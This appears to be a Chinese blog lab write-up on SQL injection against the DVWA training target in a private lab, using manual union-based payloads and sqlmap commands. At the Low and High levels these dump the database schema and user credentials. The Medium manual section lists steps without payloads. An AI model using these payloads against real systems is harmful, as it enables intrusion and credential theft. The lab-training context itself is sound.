SQL 注入 DVWA 实验

实验环境:

实验角色

操作系统

IP 地址

备注

攻击机

Kali Linux

192.168.221.128

靶机

Windows Server 2003

192.168.221.130

实验需求:

分别通过手工注入和 SQLMAP 自动化注入的方法来完成 DVWA 靶场中的 Low,Medium,High 级别的注入测试

实验步骤:
  1. 手工注入来完成 DVWA 靶场中的 Low,Medium,High 级别的注入测试
  1. Low 级别

 寻找 SQL 注入点

文本框输入1'测试,为 GET 型

确认注入点的类型

在文本框输入1' and 1=1#,能够正常访问数据

在文本框输入1' and 1=2#,不能正常访问数据,注入点为字符型

猜解当前页面查询的字段总数

在文本框输入1' and 1=1 order by 2#,未报错

在文本框输入1' and 1=1 order by 3#,报错,字段总数为2

询当前页面中显示了哪些字段

在文本框输入1' and 1=2 union select 1,2#

查询当前网站数据库的名称

在文本框输入 1' and 1=2 union select 1,database()#

查询当前数据库中所有表的名称

在文本框输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询指定表中所有字段名称

在文本框输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

查询后台管理员用户名和密码

在文本框输入 1' and 1=2 union select user,password from users#

  1. Medium 级别

寻找注入点

确认注入点为post型

确认注入点是数字型

猜解当前页面查询的字段总数

查询当前页面中显示了哪些字段

查询当前网站数据库的名称

查询当前数据库中所有表的名称

查询指定表中所有字段名称

查询后台管理员用户名和密码

  1. High 级别

分离了输入页面和显示页面,防止 SQL MAP 进行自动化注入,且该页面参数提交方式为POST型

确认注入点的类型

在文本框输入1' and 1=1#,能够正常访问数据

在文本框输入1' and 1=2#,不能正常访问数据,注入点为字符型

猜解当前页面查询的字段总数

在文本框输入1' and 1=1 order by 2#,未报错

在文本框输入1' and 1=1 order by 3#,报错,字段总数为2

询当前页面中显示了哪些字段

在文本框输入1' and 1=2 union select 1,2#

查询当前网站数据库的名称

在文本框输入 1' and 1=2 union select 1,database()#

查询当前数据库中所有表的名称

在文本框输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询指定表中所有字段名称

在文本框输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

查询后台管理员用户名和密码

在文本框输入 1' and 1=2 union select user,password from users#

  1. SQL MAP自动化注入来完成 DVWA 靶场中的 Low,Medium,High 级别的注入测试
  1. Low 级别

查询当前网站数据库的名称

sqlmap -u "http://192.168.221.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs --cookie 'security=low; PHPSESSID=kti0j0b5qmjtk4bh3ipng5jn43' --dbs

查询当前数据库中所有表的名称

sqlmap -u "http://192.168.221.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs --cookie 'security=low; PHPSESSID=kti0j0b5qmjtk4bh3ipng5jn43' --dbs -D dvwa --tables

查询当前表的所有字段

 sqlmap -u "http://192.168.221.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs --cookie 'security=low; PHPSESSID=kti0j0b5qmjtk4bh3ipng5jn43' --dbs -D dvwa -T users --columns

查询所有后台管理员的用户名和密码

sqlmap -u "http://192.168.221.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs --cookie 'security=low; PHPSESSID=kti0j0b5qmjtk4bh3ipng5jn43' --dbs -D dvwa -T users -C user,password --dump

  1. Medium 级别

查询当前网站中所有数据库的名称

sqlmap -r /root/sql.txt --dbs

查询当前数据库中所有管理员的用户名和密码

sqlmap -r /root/sql.txt -T users -C user,password --dump

  • 1
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值